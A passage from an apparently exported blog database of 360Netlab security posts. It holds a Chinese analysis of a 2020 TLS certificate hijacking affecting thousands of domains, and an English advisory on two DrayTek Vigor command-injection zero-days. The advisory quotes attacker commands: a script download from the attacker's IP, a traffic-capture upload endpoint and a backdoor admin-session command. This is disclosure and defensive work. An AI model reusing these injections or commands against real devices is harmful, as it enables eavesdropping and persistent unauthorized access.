Ltd\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e7c2b467646030007b26d1a |
post | null | 2020-03-27T04:57:59.000Z | 63873b9a8b1c1e0007f52f69 | ongoing-websites-hijacking | 0 | 2020-03-28T09:18:41.000Z | public | published | null | 2020-03-27T12:25:27.000Z | 一些网站https证书出现问题的情况分析 | <p>[20200328 17:00 更新] 更新数据到20200328 16:00.</p><p>20200326下午，有<a href="https://v2ex.com/t/656367?p=2">消息说</a>[1]github的TLS证书出现了错误告警。证书的结构很奇怪，在其签发者信息中有一个奇怪的email地址：[email protected]。明显是一个伪造的证书。</p><p>为了弄清楚其中的情况，我们对这一事件进行了分析。</p><h2 id="dns-">DNS劫持？</h2><p>出现证书和域名不匹配的最常见的一种情况是DNS劫持，即所访问域名的IP地址和真实建立连接的IP并不相同。</p><p>以被劫持的域名go-acme.github.io为例，我们的passiveDNS库中该域名的IP地址主要使用如下四个托管在fastly上的IP地址，可以看到其数据非常干净。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/03/go-acme.github.io_rrsets.png" class="kg-image" alt loading="lazy"></figure><p>对该域名直接进行连接测试，可以看到，TCP连接的目的地址正是185.199.111.153，但其返回的证书却是错误的证书。因此github证书错误的问题并不是在DNS层面出现问题。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/03/go-acme.github.io_curl.png" class="kg-image" alt loading="lazy"></figure><h2 id="-">劫持如何发生的？</h2><p>为了搞清楚这个问题，可以通过抓取链路上的数据包来进行分析。为了有较好的对比性，我们先后抓取了443端口和80端口的数据。如下图</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2020/03/https_vs_http.png" class="kg-image" alt loading="lazy"><figcaption>TCP三次握手中的服务器应答对比</figcaption></figure><p>左边的数据包为https连接，右边的数据包为http连接。可以看到https的服务器应答TTL为53，http的则为44。一般来说，在时间接近的情况下，连接相同的目标IP，数据包在链路上的路径是是近似的。https的TTL显著的大于http的TTL，看起来很有可能是在链路上存在劫持。</p><p>有意思的是 <strong>在https后续的连接中其TTL值并不稳定</strong>，比如在响应证书的数据包中，其TTL变成了47，介于44和53之间，更接近于http链路的情况。作为对比，<strong>http的后续数据包的TTL值则一直稳定在44</strong>。</p><p>[20200327 23:00 更新] 在数据包内容方面，另一个值得关注的点是：被劫持的会话数据包(https)全部回包的IPID都是0. 正常数据包(http)首次回包IPID是0，之后的回包就不是了。</p><p>这是两个有意思的现象。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2020/03/https_certificates.png" class="kg-image" alt loading="lazy"><figcaption>被劫持会话后续返回的TTL值</figcaption></figure><p>因此，结合https会话过程中TTL值和IPID的异常，我们猜测是在链路上发生了劫持。</p><h2 id="--1">证书是怎么回事？</h2><p>事实上，从我们DNSMon系统的证书信息来看，这个证书（9e0d4d8b078d7df0da18efc23517911447b5ee8c）的入库时间在20200323早上六点。考虑到数据分析的时延，其开始在大网上使用最晚可以追溯到20200322。</p><p>同时可以看到，这个证书在证书链上的父证书（03346f4c61e7b5120e5db4a7bbbf1a3558358562）是一个自签名的证书，并且两者使用相同的签发者信息。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2020/03/cert_info.png" class="kg-image" alt loading="lazy"><figcaption>相关证书信息</figcaption></figure><h3 id="--2">受影响的域名及时间</h3><p>从上图中可以看到，该证书的影响不仅仅在github，实际上范围非常大。通过DNSMon系统，我们提取出了受影响的域名共 <strong>15462</strong>个。</p><p>通过DNSMon系统查看这些域名的流行度，在TOP1000的域名中，有40个域名受影响，列表如下：</p><!--kg-card-begin: markdown--><p>1 www.jd.com<br>
5 www.baidu.com<br>
10 www.google.com<br>
37 www.sina.com<br>
44 www.163.com<br>
51 www.douyu.com<br>
62 www.suning.com<br>
86 www.pconline.com.cn<br>
91 sp1.baidu.com<br>
126 twitter.com<br>
137 www.eastmoney.com<br>
143 mini.eastday.com<br>
158 sp0.baidu.com<br>
174 www.jianshu.com<br>
177 www.mgtv.com<br>
185 www.zhihu.com<br>
232 www.toutiao.com<br>
241 price.pcauto.com.cn<br>
271 www.google.com.hk<br>
272 video.sina.com.cn<br>
299 www.youtube.com<br>
302 www.acfun.cn<br>
365 www.vip.com<br>
421 news.ifeng.com<br>
451 car.autohome.com.cn<br>
472 www.facebook.com<br>
538 www.gamersky.com<br>
550 www.xiaohongshu.com<br>
552 www.zaobao.com<br>
580 www.xxsy.net<br>
621 www.huya.com<br>
640 mp.toutiao.com<br>
643 www.ifeng.com<br>
689 www.ip138.com<br>
741 dl.pconline.com.cn<br>
742 v.ifeng.com<br>
784 www.yicai.com<br>
957 passport2.chaoxing.com<br>
963 3g.163.com<br>
989 www.doyo.cn</p>
<!--kg-card-end: markdown--><p>对这些域名发生证书劫持时的DNS解析情况分析发现，这些域名的解析IP均在境外，属于这些域名在境外的CDN服务。值得一提的是尽管这些域名都是排名靠前的大站，但是因为国内访问的时候，CDN解析会将其映射为国内的IP地址，因此国内感知到这些大站被劫持的情况比较小。</p><h4 id="--3">受影响二级域排名</h4><p>在二级域方面，github.io 是受影响最大的二级域，也是此次劫持事件的关注焦点。</p><!--kg-card-begin: markdown--><p>1297 github.io<br>
35 app2.xin<br>
25 github.com<br>
18 aliyuncs.com<br>
17 app2.cn<br>
14 nnqp.vip<br>
10 jov.cn<br>
8 pragmaticplay.net<br>
7 tpdz10.monster<br>
7 suning.com</p>
<!--kg-card-end: markdown--><p>从时间维度来看，这些域名的首次被劫持时间分布如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/03/first_seen_timeline-2.png" class="kg-image" alt loading="lazy"></figure><p>从图中可以看出域名首次受影响的数量有日常作息规律，并且在3月26号数量有了较大幅度的增加。</p><h2 id="--4">结论</h2><!--kg-card-begin: markdown--><p>1）劫持涉及域名较多，共计15462个，其中TOP1000的网站有40个；<br>
2）劫持主要发生在国内用户访问上述域名的海外CDN节点的链路上。国内用户访问国内节点的情况下未见影响；<br>
3）所有这些劫持均使用了以 <a href="mailto:[email protected]">[email protected]</a> 名义签名的证书，但我们没有找到 编号 346608453 的QQ用户与本次劫持事件相连的直接证据，也不认为该QQ用户与本次事件有直接关联；<br>
4）所有这些劫持最早出现在 20200321 23时附近并且在20200326处于高峰。<br>
5）在20200327 11时之后，此劫持现象已经消失。前后共约131小时。</p>
<!--kg-card-end: markdown--><h2 id="--5">参考链接</h2><ol><li><a href="https://v2ex.com/t/656367?p=2">https://v2ex.com/t/656367?p=2</a></li></ol> | [20200328 17:00 更新] 更新数据到20200328 16:00.
20200326下午，有消息说[1]github的TLS证书出现了错误告警。证书的结构很奇怪，在其签发者信息中有一个奇怪的email地址：[email protected]。明显是一个伪造的证书。
为了弄清楚其中的情况，我们对这一事件进行了分析。
DNS劫持？
出现证书和域名不匹配的最常见的一种情况是DNS劫持，即所访问域名的IP地址和真实建立连接的IP并不相同。
以被劫持的域名go-acme.github.io为例，我们的passiveDNS库中该域名的IP地址主要使用如下四个托管在fastly上的IP地址，可以看到其数据非常干净。
对该域名直接进行连接测试，可以看到，TCP连接的目的地址正是185.199.111.153，但其返回的证书却是错误的证书。因此github证书错误的问题并不是在DNS层面出现问题。
劫持如何发生的？
为了搞清楚这个问题，可以通过抓取链路上的数据包来进行分析。为了有较好的对比性，我们先后抓取了443端口和80端口的数据。如下图
左边的数据包为https连接，右边的数据包为http连接。可以看到https的服务器应答TTL为53，http的则为44。一般来说，在时间接近的情况下，连接相同的目标IP，数据包在链路上的路径是是近似的。https的TTL显著的大于http的TTL，看起来很有可能是在链路上存在劫持。
有意思的是 在https后续的连接中其TTL值并不稳定，比如在响应证书的数据包中，其TTL变成了47，介于44和53之间，更接近于http链路的情况。作为对比，http的后续数据包的TTL值则一直稳定在44。
[20200327 23:00 更新] 在数据包内容方面，另一个值得关注的点是：被劫持的会话数据包(https)全部回包的IPID都是0. 正常数据包(http)首次回包IPID是0，之后的回包就不是了。
这是两个有意思的现象。
因此，结合https会话过程中TTL值和IPID的异常，我们猜测是在链路上发生了劫持。
证书是怎么回事？
事实上，从我们DNSMon系统的证书信息来看，这个证书（9e0d4d8b078d7df0da18efc23517911447b5ee8c）的入库时间在20200323早上六点。考虑到数据分析的时延，其开始在大网上使用最晚可以追溯到20200322。
同时可以看到，这个证书在证书链上的父证书（03346f4c61e7b5120e5db4a7bbbf1a3558358562）是一个自签名的证书，并且两者使用相同的签发者信息。
受影响的域名及时间
从上图中可以看到，该证书的影响不仅仅在github，实际上范围非常大。通过DNSMon系统，我们提取出了受影响的域名共 15462个。
通过DNSMon系统查看这些域名的流行度，在TOP1000的域名中，有40个域名受影响，列表如下：
1 www.jd.com
5 www.baidu.com
10 www.google.com
37 www.sina.com
44 www.163.com
51 www.douyu.com
62 www.suning.com
86 www.pconline.com.cn
91 sp1.baidu.com
126 twitter.com
137 www.eastmoney.com
143 mini.eastday.com
158 sp0.baidu.com
174 www.jianshu.com
177 www.mgtv.com
185 www.zhihu.com
232 www.toutiao.com
241 price.pcauto.com.cn
271 www.google.com.hk
272 video.sina.com.cn
299 www.youtube.com
302 www.acfun.cn
365 www.vip.com
421 news.ifeng.com
451 car.autohome.com.cn
472 www.facebook.com
538 www.gamersky.com
550 www.xiaohongshu.com
552 www.zaobao.com
580 www.xxsy.net
621 www.huya.com
640 mp.toutiao.com
643 www.ifeng.com
689 www.ip138.com
741 dl.pconline.com.cn
742 v.ifeng.com
784 www.yicai.com
957 passport2.chaoxing.com
963 3g.163.com
989 www.doyo.cn
对这些域名发生证书劫持时的DNS解析情况分析发现，这些域名的解析IP均在境外，属于这些域名在境外的CDN服务。值得一提的是尽管这些域名都是排名靠前的大站，但是因为国内访问的时候，CDN解析会将其映射为国内的IP地址，因此国内感知到这些大站被劫持的情况比较小。
受影响二级域排名
在二级域方面，github.io 是受影响最大的二级域，也是此次劫持事件的关注焦点。
1297 github.io
35 app2.xin
25 github.com
18 aliyuncs.com
17 app2.cn
14 nnqp.vip
10 jov.cn
8 pragmaticplay.net
7 tpdz10.monster
7 suning.com
从时间维度来看，这些域名的首次被劫持时间分布如下：
从图中可以看出域名首次受影响的数量有日常作息规律，并且在3月26号数量有了较大幅度的增加。
结论
1）劫持涉及域名较多，共计15462个，其中TOP1000的网站有40个；
2）劫持主要发生在国内用户访问上述域名的海外CDN节点的链路上。国内用户访问国内节点的情况下未见影响；
3）所有这些劫持均使用了以 [email protected] 名义签名的证书，但我们没有找到 编号 346608453 的QQ用户与本次劫持事件相连的直接证据，也不认为该QQ用户与本次事件有直接关联；
4）所有这些劫持最早出现在 20200321 23时附近并且在20200326处于高峰。
5）在20200327 11时之后，此劫持现象已经消失。前后共约131小时。
参考链接
1. https://v2ex.com/t/656367?p=2 | {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2020/03/go-acme.github.io_rrsets.png"}],["image",{"src":"__GHOST_URL__/content/images/2020/03/go-acme.github.io_curl.png"}],["image",{"src":"__GHOST_URL__/content/images/2020/03/https_vs_http.png","caption":"TCP三次握手中的服务器应答对比"}],["image",{"src":"__GHOST_URL__/content/images/2020/03/https_certificates.png","caption":"被劫持会话后续返回的TTL值"}],["image",{"src":"__GHOST_URL__/content/images/2020/03/cert_info.png","caption":"相关证书信息"}],["markdown",{"markdown":"1\twww.jd.com\n5\twww.baidu.com\n10\twww.google.com\n37\twww.sina.com\n44\twww.163.com\n51\twww.douyu.com\n62\twww.suning.com\n86\twww.pconline.com.cn\n91\tsp1.baidu.com\n126\ttwitter.com\n137\twww.eastmoney.com\n143\tmini.eastday.com\n158\tsp0.baidu.com\n174\twww.jianshu.com\n177\twww.mgtv.com\n185\twww.zhihu.com\n232\twww.toutiao.com\n241\tprice.pcauto.com.cn\n271\twww.google.com.hk\n272\tvideo.sina.com.cn\n299\twww.youtube.com\n302\twww.acfun.cn\n365\twww.vip.com\n421\tnews.ifeng.com\n451\tcar.autohome.com.cn\n472\twww.facebook.com\n538\twww.gamersky.com\n550\twww.xiaohongshu.com\n552\twww.zaobao.com\n580\twww.xxsy.net\n621\twww.huya.com\n640\tmp.toutiao.com\n643\twww.ifeng.com\n689\twww.ip138.com\n741\tdl.pconline.com.cn\n742\tv.ifeng.com\n784\twww.yicai.com\n957\tpassport2.chaoxing.com\n963\t3g.163.com\n989\twww.doyo.cn"}],["markdown",{"markdown":" 1297 github.io\n 35 app2.xin\n 25 github.com\n 18 aliyuncs.com\n 17 app2.cn\n 14 nnqp.vip\n 10 jov.cn\n 8 pragmaticplay.net\n 7 tpdz10.monster\n 7 suning.com"}],["image",{"src":"__GHOST_URL__/content/images/2020/03/first_seen_timeline-2.png"}],["markdown",{"markdown":"1）劫持涉及域名较多，共计15462个，其中TOP1000的网站有40个；\n2）劫持主要发生在国内用户访问上述域名的海外CDN节点的链路上。国内用户访问国内节点的情况下未见影响；\n3）所有这些劫持均使用了以 [email protected] 名义签名的证书，但我们没有找到 编号 346608453 的QQ用户与本次劫持事件相连的直接证据，也不认为该QQ用户与本次事件有直接关联；\n4）所有这些劫持最早出现在 20200321 23时附近并且在20200326处于高峰。\n5）在20200327 11时之后，此劫持现象已经消失。前后共约131小时。"}]],"markups":[["a",["href","https://v2ex.com/t/656367?p=2"]],["strong"]],"sections":[[1,"p",[[0,[],0,"[20200328 17:00 更新] 更新数据到20200328 16:00."]]],[1,"p",[[0,[],0,"20200326下午，有"],[0,[0],1,"消息说"],[0,[],0,"[1]github的TLS证书出现了错误告警。证书的结构很奇怪，在其签发者信息中有一个奇怪的email地址：[email protected]。明显是一个伪造的证书。"]]],[1,"p",[[0,[],0,"为了弄清楚其中的情况，我们对这一事件进行了分析。"]]],[1,"h2",[[0,[],0,"DNS劫持？"]]],[1,"p",[[0,[],0,"出现证书和域名不匹配的最常见的一种情况是DNS劫持，即所访问域名的IP地址和真实建立连接的IP并不相同。"]]],[1,"p",[[0,[],0,"以被劫持的域名go-acme.github.io为例，我们的passiveDNS库中该域名的IP地址主要使用如下四个托管在fastly上的IP地址，可以看到其数据非常干净。"]]],[10,0],[1,"p",[[0,[],0,"对该域名直接进行连接测试，可以看到，TCP连接的目的地址正是185.199.111.153，但其返回的证书却是错误的证书。因此github证书错误的问题并不是在DNS层面出现问题。"]]],[10,1],[1,"h2",[[0,[],0,"劫持如何发生的？"]]],[1,"p",[[0,[],0,"为了搞清楚这个问题，可以通过抓取链路上的数据包来进行分析。为了有较好的对比性，我们先后抓取了443端口和80端口的数据。如下图"]]],[10,2],[1,"p",[[0,[],0,"左边的数据包为https连接，右边的数据包为http连接。可以看到https的服务器应答TTL为53，http的则为44。一般来说，在时间接近的情况下，连接相同的目标IP，数据包在链路上的路径是是近似的。https的TTL显著的大于http的TTL，看起来很有可能是在链路上存在劫持。"]]],[1,"p",[[0,[],0,"有意思的是 "],[0,[1],1,"在https后续的连接中其TTL值并不稳定"],[0,[],0,"，比如在响应证书的数据包中，其TTL变成了47，介于44和53之间，更接近于http链路的情况。作为对比，"],[0,[1],1,"http的后续数据包的TTL值则一直稳定在44"],[0,[],0,"。"]]],[1,"p",[[0,[],0,"[20200327 23:00 更新] 在数据包内容方面，另一个值得关注的点是：被劫持的会话数据包(https)全部回包的IPID都是0. 正常数据包(http)首次回包IPID是0，之后的回包就不是了。"]]],[1,"p",[[0,[],0,"这是两个有意思的现象。"]]],[10,3],[1,"p",[[0,[],0,"因此，结合https会话过程中TTL值和IPID的异常，我们猜测是在链路上发生了劫持。"]]],[1,"h2",[[0,[],0,"证书是怎么回事？"]]],[1,"p",[[0,[],0,"事实上，从我们DNSMon系统的证书信息来看，这个证书（9e0d4d8b078d7df0da18efc23517911447b5ee8c）的入库时间在20200323早上六点。考虑到数据分析的时延，其开始在大网上使用最晚可以追溯到20200322。"]]],[1,"p",[[0,[],0,"同时可以看到，这个证书在证书链上的父证书（03346f4c61e7b5120e5db4a7bbbf1a3558358562）是一个自签名的证书，并且两者使用相同的签发者信息。"]]],[10,4],[1,"h3",[[0,[],0,"受影响的域名及时间"]]],[1,"p",[[0,[],0,"从上图中可以看到，该证书的影响不仅仅在github，实际上范围非常大。通过DNSMon系统，我们提取出了受影响的域名共 "],[0,[1],1,"15462"],[0,[],0,"个。"]]],[1,"p",[[0,[],0,"通过DNSMon系统查看这些域名的流行度，在TOP1000的域名中，有40个域名受影响，列表如下："]]],[10,5],[1,"p",[[0,[],0,"对这些域名发生证书劫持时的DNS解析情况分析发现，这些域名的解析IP均在境外，属于这些域名在境外的CDN服务。值得一提的是尽管这些域名都是排名靠前的大站，但是因为国内访问的时候，CDN解析会将其映射为国内的IP地址，因此国内感知到这些大站被劫持的情况比较小。"]]],[1,"h4",[[0,[],0,"受影响二级域排名"]]],[1,"p",[[0,[],0,"在二级域方面，github.io 是受影响最大的二级域，也是此次劫持事件的关注焦点。"]]],[10,6],[1,"p",[[0,[],0,"从时间维度来看，这些域名的首次被劫持时间分布如下："]]],[10,7],[1,"p",[[0,[],0,"从图中可以看出域名首次受影响的数量有日常作息规律，并且在3月26号数量有了较大幅度的增加。"]]],[1,"h2",[[0,[],0,"结论"]]],[10,8],[1,"h2",[[0,[],0,"参考链接"]]],[3,"ol",[[[0,[0],1,"https://v2ex.com/t/656367?p=2"]]]]],"ghostVersion":"3.0"} | 5e7d87d77646030007b26d6a |
post | null | 2020-03-27T12:46:03.000Z | 63873b9a8b1c1e0007f52f6a | two-zero-days-are-targeting-draytek-broadband-cpe-devices-en | 0 | 2022-02-09T07:08:51.000Z | public | published | null | 2020-03-27T16:34:21.000Z | Two zero days are Targeting DrayTek Broadband CPE Devices | <!--kg-card-begin: markdown--><p><em>Author: <a href="https://twitter.com/_O_owl">Yanlong Ma</a>, <a href="https://twitter.com/zom3y3">Genshen Ye</a>, <a href="https://twitter.com/_E_nn_">Hongda Liu</a></em></p>
<h3 id="background">Background</h3>
<p>From December 4, 2019, 360Netlab Threat Detection System has observed two different attack groups using two 0-day vulnerabilities of DrayTek[<a href="https://www.draytek.com/">1]</a> Vigor enterprise routers and switch devices to conduct a series of attacks, including eavesdropping on device’s network traffic, running SSH services on high ports, creating system backdoor accounts, and even creating a specific Malicious Web Session backdoor.</p>
<p>On December 25, 2019, due to the highly malicious nature of the attack, we disclosed on Twitter[<a href="https://twitter.com/360Netlab/status/1209763610525757443">2]</a>[<a href="https://twitter.com/360Netlab/status/1209763784572555264">3]</a> the ongoing 0-day attack IoC without mentioning the vendor name or product lines. We also provided more details to some national CERTs.</p>
<p>On February 10, 2020, the manufacturer DrayTek issued a security bulletin[<a href="https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/">4]</a>, which fixed the vulnerability and released the latest firmware program 1.5.1. (here we actually have an easter egg we might talk about later)</p>
<h3 id="vulnerabilityanalysis">Vulnerability analysis</h3>
<p>With the help of 360 Firmware Total system [<a href="https://ft.iotsec.360.cn/">5]</a>, we are able to perform vulnerability research . The two 0-day vulnerability command injection points are <code>keyPath</code> and <code>rtick</code>, located in the <code>/www/cgi-bin/mainfunction.cgi</code>, and the corresponding Web Server program is <code>/usr/sbin/lighttpd</code>.</p>
<h4 id="keypathcommandinjectionvulnerabilityanalysis">keyPath command injection vulnerability analysis</h4>
<p>Vulnerability type: unauthorized remote command execution vulnerability<br>
Vulnerability details: Two account password transmission methods are supported by the DrayTek devices, plain text and RSA encrypted transmission.</p>
<p>For RSA encrypted transmission, the interaction logic is:</p>
<ol>
<li>The web front end uses the RSA public key to encrypt the username and password, and uses a <code>keyPath</code> field to specify the file suffix of the RSA private key to initiate a login request;</li>
<li>When the <code>formLogin()</code> function in the <code>/www/cgi-bin/mainfunction.cgi</code> detects that the <code>keyPath</code> field is not empty, the decryption starts;</li>
<li><code>formLogin()</code> uses the <code>keyPath</code> as input to craft the following path <code>/tmp/rsa/private_key_<keyPath></code> as the RSA private key;</li>
<li><code>formLogin()</code> performs Base64 decode on the username and password fields, writes them to the <code>/tmp/rsa/binary_loginfile</code>, and executes the following command to decrypt the username and password<pre><code class="language-sh">openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login
</code></pre>
</li>
<li>Finally, the <code>formLogin()</code> function takes the decrypted user name and password to continue the verification.</li>
</ol>
<p>The issue here is that <code>keyPath</code> does not have very strong input control, which makes unauthorized remote command execution possible.</p>
<p>Bug fix: In version 1.5.1, <code>keyPath</code> sets the field length a limit of 30, and the content must be hexadecimal characters.<br>
<a href="__GHOST_URL__/content/images/2020/03/WechatIMG348.png"><img src="__GHOST_URL__/content/images/2020/03/WechatIMG348.png" class="kg-image"/></a></p>
<h4 id="rtickcommandinjectionvulnerabilityanalysis">rtick command injection vulnerability analysis</h4>
<p>Vulnerability Type: unauthorized remote command execution vulnerability<br>
Vulnerability details: When <code>/www/cgi-bin/mainfunction.cgi</code> needs to access verification code, it calls the function <code>formCaptcha()</code>, the function does not check the incoming timestamp from rtick, and calls /usr/sbin/captcha directly to generate <code><rtick>.gif</code> the CAPTCHA image, which makes command injection possible.</p>
<p>Bug fix: In version 1.5.1, the vendor limits the rtick field to use only [0-9].<br>
<a href="__GHOST_URL__/content/images/2020/03/1585282366543.png"><img src="__GHOST_URL__/content/images/2020/03/1585282366543.png" class="kg-image"/></a></p>
<h3 id="analysisofwild0dayattacks">Analysis of wild 0-day attacks</h3>
<h4 id="attackgroupa">Attack Group A</h4>
<ol>
<li>Attacker A uses the <code>keyPath</code> command injection vulnerability to download and execute the <code>http://103.82.143.51:58172/vig/tcpst1</code> script, and then further downloads and executes the following script.</li>
</ol>
<pre><code>http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
</code></pre>
<ol start="2">
<li>The script <code>/etc/mailsend.sh</code>is used to eavesdrop on all network interfaces on the DrayTek Vigor network device to listen on the ports 21, 25, 143, and 110. The tcpdump command <code>/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap & </code>runs in the background, and a crontab is in place to upload the captured packets to <code>https://103.82.143.51:58443/uploLSkciajUS.php</code> every Monday, Wednesday, Friday at 0:00.</li>
</ol>
<h4 id="attackgroupb">Attack group B</h4>
<ol>
<li>Attacker B uses the rtick command injection vulnerability to create 2 sets of Web Session backdoors that never expires in the file <code>/var/session.json</code></li>
</ol>
<pre><code>json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
</code></pre>
<ol start="2">
<li>Attacker B further creates SSH backdoors on TCP / 22335 and TCP / 32459;</li>
</ol>
<pre><code>/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT
</code></pre>
<ol start="3">
<li>A system backdoor account <code>wuwuhanhan:caonimuqin</code> is added as well.</li>
</ol>
<pre><code>sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
</code></pre>
<h3 id="websessionbackdoor">Web Session backdoor</h3>
<p>When we study the 0-day PoC, we noticed that when the session parameter <code>updatetime</code> is set to 0, DrayTek Vigor network device never logs out unless the device is rebooted.<br>
(aka Auto-Logout: Disable)<br>
<a href="__GHOST_URL__/content/images/2020/03/WechatIMG280.png"><img src="__GHOST_URL__/content/images/2020/03/WechatIMG280.png" class="kg-image"/></a></p>
<h3 id="timeline">Timeline</h3>
<pre><code>2019/12/04 We discovered ongoing attacks using the DrayTek Vigor 0-day keyPath vulnerability
2019/12/08 We reached out to a channel to report the vulnerability (but only later on found it did not work out)
2019/12/25 We disclosed on twitter the IoC and provided more details to some national CERTs.
2020/01/28 We discovered ongoing attacks using the DrayTek Vigor 0-day rtick vulnerability
2020/02/01 MITRE published the CVE-2020-8515
2020/02/10 DrayTek released a security bulletin and the latest firmware fix.
</code></pre>
<h3 id="affectedfirmwarelist">Affected firmware list</h3>
<pre><code>Vigor2960 < v1.5.1
Vigor300B < v1.5.1
Vigor3900 < v1.5.1
VigorSwitch20P2121 <= v2.3.2
VigorSwitch20G1280 <= v2.3.2
VigorSwitch20P1280 <= v2.3.2
VigorSwitch20G2280 <= v2.3.2
VigorSwitch20P2280 <= v2.3.2
</code></pre>
<h3 id="suggestions">Suggestions</h3>
<p>We recommend that DrayTek Vigor users check and update their firmwares in a timely manner, and check whether there is a tcpdump process, SSH backdoor account, Web Session backdoor, etc on their systems.</p>
<p>We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, or email to netlab at 360 dot cn.</p>
<h3 id="ioclist">IoC list</h3>
<p>MD5</p>
<pre><code>7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007
</code></pre>
<p>URL</p>
<pre><code>http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php
</code></pre>
<p>Scanner IP</p>
<pre><code>103.82.143.51 Korea ASN136209 Korea Fast Networks
178.151.198.73 Ukraine ASN13188 Content Delivery Network Ltd
</code></pre>
<!--kg-card-end: markdown--> | Author: Yanlong Ma, Genshen Ye, Hongda Liu
Background
From December 4, 2019, 360Netlab Threat Detection System has observed two different attack groups using two 0-day vulnerabilities of DrayTek[1] Vigor enterprise routers and switch devices to conduct a series of attacks, including eavesdropping on device’s network traffic, running SSH services on high ports, creating system backdoor accounts, and even creating a specific Malicious Web Session backdoor.
On December 25, 2019, due to the highly malicious nature of the attack, we disclosed on Twitter[2][3] the ongoing 0-day attack IoC without mentioning the vendor name or product lines. We also provided more details to some national CERTs.
On February 10, 2020, the manufacturer DrayTek issued a security bulletin[4], which fixed the vulnerability and released the latest firmware program 1.5.1. (here we actually have an easter egg we might talk about later)
Vulnerability analysis
With the help of 360 Firmware Total system [5], we are able to perform vulnerability research . The two 0-day vulnerability command injection points are keyPath and rtick, located in the /www/cgi-bin/mainfunction.cgi, and the corresponding Web Server program is /usr/sbin/lighttpd.
keyPath command injection vulnerability analysis
Vulnerability type: unauthorized remote command execution vulnerability
Vulnerability details: Two account password transmission methods are supported by the DrayTek devices, plain text and RSA encrypted transmission.
For RSA encrypted transmission, the interaction logic is:
1. The web front end uses the RSA public key to encrypt the username and password, and uses a keyPath field to specify the file suffix of the RSA private key to initiate a login request;
2. When the formLogin() function in the /www/cgi-bin/mainfunction.cgi detects that the keyPath field is not empty, the decryption starts;
3. formLogin() uses the keyPath as input to craft the following path /tmp/rsa/private_key_<keyPath> as the RSA private key;
4. formLogin() performs Base64 decode on the username and password fields, writes them to the /tmp/rsa/binary_loginfile, and executes the following command to decrypt the username and password
openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login
5. Finally, the formLogin() function takes the decrypted user name and password to continue the verification.
The issue here is that keyPath does not have very strong input control, which makes unauthorized remote command execution possible.
Bug fix: In version 1.5.1, keyPath sets the field length a limit of 30, and the content must be hexadecimal characters.
rtick command injection vulnerability analysis
Vulnerability Type: unauthorized remote command execution vulnerability
Vulnerability details: When /www/cgi-bin/mainfunction.cgi needs to access verification code, it calls the function formCaptcha(), the function does not check the incoming timestamp from rtick, and calls /usr/sbin/captcha directly to generate <rtick>.gif the CAPTCHA image, which makes command injection possible.
Bug fix: In version 1.5.1, the vendor limits the rtick field to use only [0-9].
Analysis of wild 0-day attacks
Attack Group A
1. Attacker A uses the keyPath command injection vulnerability to download and execute the http://103.82.143.51:58172/vig/tcpst1 script, and then further downloads and executes the following script.
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
2. The script /etc/mailsend.shis used to eavesdrop on all network interfaces on the DrayTek Vigor network device to listen on the ports 21, 25, 143, and 110. The tcpdump command /usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap & runs in the background, and a crontab is in place to upload the captured packets to https://103.82.143.51:58443/uploLSkciajUS.php every Monday, Wednesday, Friday at 0:00.
Attack group B
1. Attacker B uses the rtick command injection vulnerability to create 2 sets of Web Session backdoors that never expires in the file /var/session.json
json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
